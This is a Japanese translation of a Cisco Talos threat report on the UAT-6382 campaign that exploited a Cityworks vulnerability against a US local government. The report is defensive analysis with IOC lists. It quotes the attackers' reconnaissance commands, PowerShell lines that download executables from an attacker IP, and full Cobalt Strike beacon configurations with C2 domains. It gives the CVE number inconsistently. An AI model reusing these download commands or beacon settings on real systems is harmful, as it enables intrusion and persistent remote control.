
- Cisco Talos は、人気の資産管理システム Cityworks に存在するリモートコード実行の脆弱性(CVE-2025-0994
)の悪用を確認しました。 - 米国サイバーセキュリティ インフラストラクチャ セキュリティ庁
(CISA)と Trimble 社
が、この脆弱性に関するアドバイザリをそれぞれ発行しています。Trimble 社のアドバイザリでは、この CVE を悪用した不正侵入に関連する侵害の指標(IOC)が具体的に記載されています。 - Talos が検出した CVE-2025-0994 の悪用に関連する不正侵入の IOC は、Trimble 社のアドバイザリに記載されているものと一致しています。
- Talos は、CVE-2025-0944 を悪用するこの一連の不正侵入を「UAT-6382」が行った活動に分類しています。攻撃者が使用したツール、および戦術、手法、手順(TTP)に基づき、この脆弱性の悪用とそれに続く侵害後の活動は中国語話者の攻撃者によって実行されたと Talos は高い確信をもって評価しています。
- 侵害後の活動として、基盤となる IIS Web サーバー上で、AntSword や chinatso/Chopper などの Web シェルが迅速に展開されました。UAT-6382 はまた、長期にわたって持続的なアクセスを維持するために、Rust ベースのローダーを用いて Cobalt Strike と VSHell マルウェアを展開していました。
- Talos は、この Rust ベースのローダーを「TetraLoader」として追跡しています。これは、「MaLoader」という最近公開されたマルウェア構築フレームワークを使用して作成されたものです。MaLoader(簡体字中国語で記述)を使用すると、シェルコードや他のペイロードを Rust ベースのバイナリに組み込むことができ、そうして作成されたのが TetraLoader です。
Talos は、米国内の地方自治体が運用する企業ネットワークへの不正侵入を発見しました。最初の侵害が発生したのは 2025 年 1 月です。UAT-6382 は CVE-2025-0944
のエクスプロイトに成功すると、偵察を行い、長期的なアクセスを維持するためにさまざまな Web シェルとカスタムマルウェアを迅速に展開しました。アクセス後は、公共インフラ管理に関連するシステムに横展開することに明確な関心を示しています。
AntSword、chinatso/Chopper、汎用ファイルアップローダーなどの Web シェルには、中国語で書かれたメッセージが含まれていました。さらに、カスタムツールの TetraLoader は「MaLoader」というマルウェアビルダーを使用して作成されており、このビルダーも簡体字中国語で書かれています。このツールの性質、TTP、ハンズオンキーボード攻撃、被害者分析に基づき、UAT-6382 は中国語話者の攻撃者であると Talos は高い確信をもって評価しています。
初期の偵察
脆弱な Cityworks アプリケーションのエクスプロイトに成功すると、攻撃者は事前偵察を実施し、サーバーを特定してその詳細情報を取得します。
cmd.exe /c ipconfig cmd.exe /c pwd cmd.exe /c dir cmd.exe /c dir .. cmd.exe /c dir c:\ cmd.exe /c dir c:\inetpub cmd.exe /c tasklist
特定のフォルダが、その中に Web シェルの配置を試みる前に列挙されました。
cmd.exe /c dir c:\inetpub\wwwroot cmd.exe /c c:\inetpub\wwwroot\CityworksServer\WebSite cmd.exe /c dir c:\inetpub\wwwroot\CityworksServer\WebSite\Assets
UAT-6382 は Web シェルを多用
最初の偵察のほぼ直後に、侵害されたネットワークへのバックドアアクセスを確立するために Web シェルが展開されました。展開された Web シェルは、AntSword、chinatso、Behinder の複数のバリエーションのほか、中国語のメッセージを含む汎用的なファイルアップローダーです。

図 1. UAT-6382 によって展開された ASP ベースのファイルアップローダー
データ漏洩のためのファイル列挙と持ち出し準備
UAT-6382 は、関心のあるサーバー上の複数のディレクトリを列挙して、持ち出す価値のあるファイルを特定し、それらを Web シェルを展開したディレクトリに配置して簡単に持ち出せるようにしました。
cmd.exe /c dir c:\inetpub\wwwroot\CityworksServer\ cmd.exe /c copy c:\inetpub\wwwroot\CityworksServer\<backup_archives> c:\inetpub\wwwroot\CityworksServer\Uploads\
バックドアの展開
UAT-6382 は、PowerShell を使用して、侵害されたシステムに複数のバックドアをダウンロードして展開しました。
cmd[.]exe /c powershell -Command Invoke-WebRequest -Uri 'hxxp[://]192[.]210[.]239[.]172:3219/LVLWPH[.]exe' -OutFile '<parent_directory>\LVLWPH[.]exe'
cmd.exe /c powershell -Command Invoke-WebRequest -Uri ‘http://192[.]210[.]239[.]172:3219/MCUCAT[.]exe’ -OutFile ‘C:\windows\temp\z1.exe’
powershell -Command Invoke-WebRequest -Uri ‘http://192[.]210[.]239[.]172:3219/TJPLYT[.]exe’ -OutFile ‘C:\windows\temp\z33.exe’
cmd.exe /c powershell -Command Invoke-WebRequest -Uri ‘http://192[.]210[.]239[.]172:3219/z44[.]exe’ -OutFile ‘C:\windows\temp\z44.exe’
Talos が回収したインプラントは、エンコードまたは暗号化されたペイロードを含む Rust ベースのローダーです。このペイロードはデコードまたは復号された後、ローダーコンポーネントによって無害なプロセスに挿入されます。Talos はこのローダーを「TetraLoader」として追跡しています。
TetraLoader の分析
TetraLoader はシンプルな Rust ベースのローダーであり、埋め込まれたペイロードをデコードし、notepad[.]exe のような無害なプロセスに挿入して起動します。Talos はこれまでに、感染したエンドポイント上で、TetraLoader が展開したペイロードを 2 種類発見しています。
- Cobalt Strike ビーコン:位置に依存しないインメモリ型の Cobalt Strike ビーコンシェルコード。TetraLoader によって、無害な特定のプロセスに挿入されます。
- VShell ステージャ:Talos が VShell 用のステージャであると特定した、位置に依存しないシェルコード。ハードコードされた C2 サーバーと通信し、受信したコードを実行します。
TetraLoader は、2024 年 12 月に GitHub に初めて登場した「MaLoader」という比較的新しいペイロード ビルダー フレームワークを使用して構築されています。MaLoader には、TetraLoader(Rust ベースのコンテナ)にシェルコードをエンコードして埋め込むためのオプションが複数あります。

図 2. MaLoader のビルダーのインターフェイス
MaLoader は簡体字中国語で書かれており、これを使用した攻撃者は簡体字中国語を相当なレベルで理解していたと考えられます。
Cobalt Strike ビーコン
Cobalt Strike ビーコンは比較的単純で、従来の Cobalt Strike ビーコンと比べてもほとんど変更が加えられていません。Talos が発見したビーコンの 1 つは、コマンドアンドコントロール(C2)ドメイン「cdn[.]lgaircon[.]xyz」に接続し、以下のコンフィグ設定となっています。
BeaconType - HTTPS
Port - 443
SleepTime - 45000
MaxGetSize - 2801745
Jitter - 37
MaxDNS - Not Found
PublicKey - b'0\x81\x9f0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x81\x8d\x000\x81\x89\x02\x81\x81\x00\x81\x92\xaa\x1d\xdeph\xa6\x80\xf7\xc9\x7f\xcf\xba\xce6\xd9\x11(\x00\x1a\x95<\xa5\xdf\x19\x06\xf3\xd1;\xb1\x15\xe9\xdb\xcan\xc6\xba\xdb{\xd3\xc4,\xd4\xcf\xd1\x07\xe2\x1fI\x07%\xd2r\x9c\xa7\xd1z+Z\xdd\xac\xd0\x18\x04\x8e\xfbqp\xe1\xe1\xb81\xb1V\x12\xe4\x8d\xf0\xc0V\x1c\xf9\xc6\xca\xc8\xed\xc4,Y~\x17r\xebP)\xed\xa6\xba\xdc\xf5+\xedS.T\xdc\x8bl\xee&\x9e\x84\xb4a\xb1k\x9a\xc1x\x00q\r\xe6\xbfq\x02\x03\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
C2Server - cdn[.]lgaircon[.]xyz,/jquery-3[.]3[.]1[.]min[.]js
UserAgent - Not Found
HttpPostUri - /jquery-3[.]3[.]2[.]min[.]js
HttpGet_Metadata - Not Found
HttpPost_Metadata - Not Found
SpawnTo - b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
PipeName - Not Found
DNS_Idle - Not Found
DNS_Sleep - Not Found
SSH_Host - Not Found
SSH_Port - Not Found
SSH_Username - Not Found
SSH_Password_Plaintext - Not Found
SSH_Password_Pubkey - Not Found
HttpGet_Verb - GET
HttpPost_Verb - POST
HttpPostChunk - 0
Spawnto_x86 - %windir%\syswow64\dllhost[.]exe
Spawnto_x64 - %windir%\sysnative\dllhost[.]exe
CryptoScheme - 0
Proxy_Config - Not Found
Proxy_User - Not Found
Proxy_Password - Not Found
Proxy_Behavior - Use IE settings
Watermark - 987654321
bStageCleanup - True
bCFGCaution - False
KillDate - 0
bProcInject_StartRWX - False
bProcInject_UseRWX - False
bProcInject_MinAllocSize - 17500
ProcInject_PrependAppend_x86 - b'\x90\x90'
Empty
ProcInject_PrependAppend_x64 - b'\x90\x90'
Empty
ProcInject_Execute - ntdll:RtlUserThreadStart
CreateThread
NtQueueApcThread-s
CreateRemoteThread
RtlCreateUserThread
ProcInject_AllocationMethod - NtMapViewOfSection
bUsesCookies - True
HostHeader - Host: cdn[.]lgaircon[.]xyz
同じ C2 ドメインを使用するもう 1 つのビーコンは、以下のようにより詳細なコンフィグ設定となっています。
BeaconType - HTTPS Port - 443 SleepTime - 35000 MaxGetSize - 2097152 Jitter - 30 MaxDNS - Not Found PublicKey_MD5 - 00c96a736d29c55e29c5e3291aedb0fd C2Server - lgaircon[.]xyz,/owa/OPWiaTU-ZEbuwIAKGPHoQAP006-PTsjBGKQUxZorq2 UserAgent - Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15 HttpPostUri - /owa/idQ0RKiA2O1i9KKDzKRdmIBmkA8uQxmFzpBGRzGjaqG Malleable_C2_Instructions - NetBIOS decode 'a' HttpGet_Metadata - ConstHeaders Host: lgaircon[.]xyz Accept: */ * Cookie: MicrosoftApplicationsTelemetryDeviceId=95c18d8-4dce9854;ClientId=1C0F6C5D910F9;MSPAuth=3EkAjDKjI;xid=730bf7;wla42=ZG0yMzA2KjEs ConstParams path=/calendar Metadata netbios parameter "wa" HttpPost_Metadata - ConstHeaders Host: lgaircon[.]xyz Accept: */ * SessionId netbios prepend "wla42=" prepend "xid=730bf7;" prepend "MSPAuth=3EkAjDKjI;" prepend "ClientId=1C0F6C5D910F9;" prepend "MicrosoftApplicationsTelemetryDeviceId=95c18d8-4dce9854;" header "Cookie" Output netbios parameter "wa" PipeName - Not Found DNS_Idle - Not Found DNS_Sleep - Not Found SSH_Host - Not Found SSH_Port - Not Found SSH_Username - Not Found SSH_Password_Plaintext - Not Found SSH_Password_Pubkey - Not Found SSH_Banner - HttpGet_Verb - GET HttpPost_Verb - GET HttpPostChunk - 96 Spawnto_x86 - %windir%\syswow64\gpupdate[.]exe Spawnto_x64 - %windir%\sysnative\gpupdate[.]exe CryptoScheme - 0 Proxy_Config - Not Found Proxy_User - Not Found Proxy_Password - Not Found Proxy_Behavior - Use IE settings Watermark_Hash - NtZOV6JzDr9QkEnX6bobPg== Watermark - 987654321 bStageCleanup - True bCFGCaution - False KillDate - 0 bProcInject_StartRWX - True bProcInject_UseRWX - False bProcInject_MinAllocSize - 26808 ProcInject_PrependAppend_x86 - b'\x90\x90\x90\x90\x90\x90\x90\x90\x90' Empty ProcInject_PrependAppend_x64 - b'\x90\x90\x90\x90\x90\x90\x90\x90\x90' Empty ProcInject_Execute - ntdll[.]dll:RtlUserThreadStart NtQueueApcThread-s SetThreadContext CreateRemoteThread kernel32[.]dll:LoadLibraryA RtlCreateUserThread ProcInject_AllocationMethod - VirtualAllocEx bUsesCookies - True HostHeader - headersToRemove - Not Found DNS_Beaconing - Not Found DNS_get_TypeA - Not Found DNS_get_TypeAAAA - Not Found DNS_get_TypeTXT - Not Found DNS_put_metadata - Not Found DNS_put_output - Not Found DNS_resolver - Not Found DNS_strategy - round-robin DNS_strategy_rotate_seconds - -1 DNS_strategy_fail_x - -1 DNS_strategy_fail_seconds - -1 Retry_Max_Attempts - 0 Retry_Increase_Attempts - 0 Retry_Duration - 0
別のビーコンは、C2 ドメイン「www[.]roomako[.]com」に接続し、以下のコンフィグ設定となっています。
BeaconType - HTTPS Port - 443 SleepTime - 25000 MaxGetSize - 2801745 Jitter - 37 MaxDNS - Not Found PublicKey - b"0\x81\x9f0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x81\x8d\x000\x81\x89\x02\x81\x81\x00\xaa#\x18\xebx;\xd3?\xe7\xa7\xb5\x95\xb1\xe7\xb2a\x99O)\x8e\xebx/:\xc10c\xfe\x04#\xe5_ \x82\xab\x9d\xbe\x99\xd0W\xb5\xfafra\x14@\x9a\x16Fs5\xa0\xe6\xf3\xa6\x13\xdc\x91N\xdeql\x89\xc5RkD\xefq\xea\xa8\xc5'$\xdf]l#\xacs\x0c/;\xc3E\xf8\x0fS\x7f\xbd\xcd\x0b]E\x97\xf2\xf2Q\xe8\x00\xa7u\x04\x90\r\x95\xfd\xac`k9\xefa\xe5\x9ftW\xc5\xc7\x90\xb8\x8a\x15\xab+\x02\x03\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" C2Server - www[.]roomako[.]com,/jquery-3[.]3[.]1[.]min[.]js UserAgent - Not Found HttpPostUri - /jquery-3[.]3[.]2[.]min[.]js HttpGet_Metadata - Not Found HttpPost_Metadata - Not Found SpawnTo - b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' PipeName - Not Found DNS_Idle - Not Found DNS_Sleep - Not Found SSH_Host - Not Found SSH_Port - Not Found SSH_Username - Not Found SSH_Password_Plaintext - Not Found SSH_Password_Pubkey - Not Found HttpGet_Verb - GET HttpPost_Verb - POST HttpPostChunk - 0 Spawnto_x86 - %windir%\syswow64\dllhost[.]exe Spawnto_x64 - %windir%\sysnative\dllhost[.]exe CryptoScheme - 0 Proxy_Config - Not Found Proxy_User - Not Found Proxy_Password - Not Found Proxy_Behavior - Use IE settings Watermark - 987654321 bStageCleanup - True bCFGCaution - False KillDate - 0 bProcInject_StartRWX - False bProcInject_UseRWX - False bProcInject_MinAllocSize - 17500 ProcInject_PrependAppend_x86 - b'\x90\x90\x90' Empty ProcInject_PrependAppend_x64 - b'\x90\x90\x90' Empty ProcInject_Execute - ntdll:RtlUserThreadStart CreateThread NtQueueApcThread-s CreateRemoteThread RtlCreateUserThread ProcInject_AllocationMethod - NtMapViewOfSection bUsesCookies - True HostHeader - Host: www[.]roomako[.]com
VShell ステージャ
VShell ステージャは比較的シンプルで、基本的なソケット API を使って「192[.]210[.]239[.]172:2219」のようなハードコードされた C2 サーバーに接続します。通常は TetraLoader によって無害なプロセスに挿入されるこのステージャは、最初に C2 との通信確認のためのビーコンを送信して応答を待ちます。C2 から返される応答は通常、1 バイトの XOR 処理されたペイロードであり、インプラントによってメモリ内で実行されます。これは、UAT-6382 が VShell で変更したものと思われます。

図 3. C2 からシェルコードを受信して実行するインプラント
VShell ステージャが受信するペイロードが、実際には VShell のインプラントです。VShell は GoLang で開発されたインプラントであり、C2 と通信し、リモートアクセス型トロイの木馬としてのさまざまな機能を提供します。たとえば、ファイル管理や任意のコマンドの実行、スクリーンショットの取得、感染したエンドポイント上での NPS ベースのプロキシの実行といった機能です。

図 4. 1 つのクライアントと接続している VShell の C2 サーバーの例
この不正侵入で確認された、中国語で書かれた他のツールと同様に、VShell の C2 パネルでも中国語が使用されています。図 5 に見られるように、このパネルでは限定的に英語のサポートを利用できますが、それでもほとんどで中国語が使用されており、このパネルを使いこなすには中国語に精通している必要があります。

図 5. 英語設定にしていても中国語が使用される VShell のファイルマネージャーパネル
カバレッジ
今回の脅威は、以下の製品で検出してブロックすることが可能です。

Cisco Secure Endpoint(旧 AMP for Endpoints)は、この記事で説明したマルウェアの実行を阻止するのに最適です。Cisco Secure Endpoint の無料トライアルはこちらからお申し込みください。
Cisco Secure Email(旧 E メールセキュリティ)は、攻撃の一環として攻撃者が送りつける不正な電子メールをブロックします。Cisco Secure Email の無料トライアルはこちらからお申し込みください。
Threat Defense Virtual、適応型セキュリティアプライアンス、Meraki MX など、Cisco Secure Firewall(旧次世代ファイアウォールおよび Firepower NGFW)アプライアンスは、この脅威に関連する悪意のあるアクティビティを検出できます。
Cisco Secure Network/Cloud Analytics(Stealthwatch/Stealthwatch Cloud)は、ネットワークトラフィックを自動的に分析し、接続されているすべてのデバイスで、望ましくない可能性があるアクティビティをユーザーに警告します。
Cisco Secure Malware Analytics(Threat Grid)は、悪意のあるバイナリを特定し、シスコのすべてのセキュリティ製品に保護機能を組み込みます。
Cisco Secure Access は、ゼロトラストの原則に基づいて構築された、最新のクラウド提供型セキュリティサービスエッジ(SSE)です。Cisco Secure Access はユーザーがどこで作業していても、インターネット、クラウドサービス、プライベート アプリケーションへのシームレスかつ透過的でセキュアなアクセスを提供します。Cisco Secure Access の無料トライアルにご興味をお持ちの場合は、シスコのアカウント担当者または認定パートナーまでお問い合わせください。
Umbrella(シスコのセキュア インターネット ゲートウェイ(SIG))は、社内ネットワークの内外で悪意のあるドメイン、IP、URL への接続をブロックします。
Cisco Secure Web Appliance(旧 Web セキュリティアプライアンス)は、危険性のあるサイトを自動的にブロックし、ユーザーがアクセスする前に疑わしいサイトを検査します。
特定の環境および脅威データに対する追加の保護機能は、Firewall Management Center から入手できます。
Cisco Duo
は、ユーザーに多要素認証を提供し、承認されたユーザーのみがネットワークにアクセスできるようにします。
オープンソースの Snort サブスクライバルールセットをお使いであれば、Snort.org
で購入可能な最新のルールパックをダウンロードすることで、最新状態を維持できます。
侵害の指標(IOC)
IOC は、こちらの GitHub リポジトリ
でも提供しています。
TetraLoader
14ed3878b6623c287283a8a80020f68e1cb6bfc37b236f33a95f3a64c4f4611f 4ffc33bdc8527a2e8cb87e49cdc16c3b1480dfc135e507d552f581a67d1850a9 1de72c03927bcd2810ce98205ff871ef1ebf4344fba187e126e50caa1e43250b 1c38e3cda8ac6d79d9da40834367697a209c6b07e6b3ab93b3a4f375b161a901
Cobalt Strike ビーコン
C02d50d0eb3974818091b8dd91a8bbb8cdefd94d4568a4aea8e1dcdd8869f738
ネットワークの IOC
cdn[.]phototagx[.]com www[.]roomako[.]com lgaircon[.]xyz https://www[.]roomako[.]com/jquery-3[.]3[.]1[.]min[.]js https://lgaircon[.]xyz/owa/OPWiaTU-ZEbuwIAKGPHoQAP006-PTsjBGKQUxZorq2 https://cdn[.]lgaircon[.]xyz/jquery-3[.]3[.]1[.]min[.]js hxxps[://]cdn[.]phototagx[.]com/ 192[.]210[.]239[.]172 hxxp[://]192[.]210[.]239[.]172:3219/LVLWPH[.]exe hxxp[://]192[.]210[.]239[.]172:3219/MCUCAT[.]exe hxxp[://]192[.]210[.]239[.]172:3219/TJPLYT[.]exe hxxp[://]192[.]210[.]239[.]172:3219/z44[.]exe
本稿は 2025 年 5 月 22 日にTalos Group
のブログに投稿された「UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware
」の抄訳です。